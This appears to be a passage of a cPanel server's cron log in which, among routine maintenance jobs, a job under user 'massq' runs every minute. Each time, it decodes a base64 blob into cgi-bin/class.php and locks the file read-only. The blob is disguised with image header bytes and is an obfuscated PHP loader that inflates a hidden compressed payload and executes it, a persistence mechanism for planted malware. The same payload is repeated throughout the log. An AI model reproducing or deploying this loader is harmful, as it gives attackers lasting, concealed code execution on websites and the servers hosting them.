kB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:11:01 server CROND[23861]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:11:01 server CROND[23862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:12:01 server CROND[24331]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:12:01 server CROND[24334]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:12:01 server CROND[24332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:12:01 server CROND[24333]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 06:13:01 server CROND[24720]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:13:01 server CROND[24721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:13:01 server CROND[24722]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:14:01 server CROND[25202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:14:01 server CROND[25204]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:14:01 server CROND[25203]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:15:01 server CROND[25608]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:15:01 server CROND[25611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:15:01 server CROND[25609]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 06:15:01 server CROND[25613]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  1 06:15:01 server CROND[25615]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  1 06:15:01 server CROND[25620]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 06:15:01 server CROND[25619]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 06:15:01 server CROND[25629]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 06:15:01 server CROND[25631]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:15:01 server CROND[25630]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 06:16:01 server CROND[26537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:16:01 server CROND[26538]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:16:01 server CROND[26539]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:17:01 server CROND[26924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:17:01 server CROND[26925]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:17:01 server CROND[26927]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:18:01 server CROND[27317]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:18:01 server CROND[27319]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:18:01 server CROND[27320]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:19:01 server CROND[27804]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:19:01 server CROND[27806]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:19:01 server CROND[27807]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:20:01 server CROND[28205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:20:01 server CROND[28207]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 06:20:01 server CROND[28209]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 06:20:01 server CROND[28210]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 06:20:01 server CROND[28214]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 06:20:01 server CROND[28216]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:20:01 server CROND[28211]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 06:20:01 server CROND[28212]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:20:01 server CROND[28215]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 06:21:01 server CROND[29066]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:21:01 server CROND[29067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:21:01 server CROND[29068]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:22:01 server CROND[29457]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:22:01 server CROND[29458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:22:01 server CROND[29459]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:23:01 server CROND[29841]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:23:01 server CROND[29842]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:23:01 server CROND[29843]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqw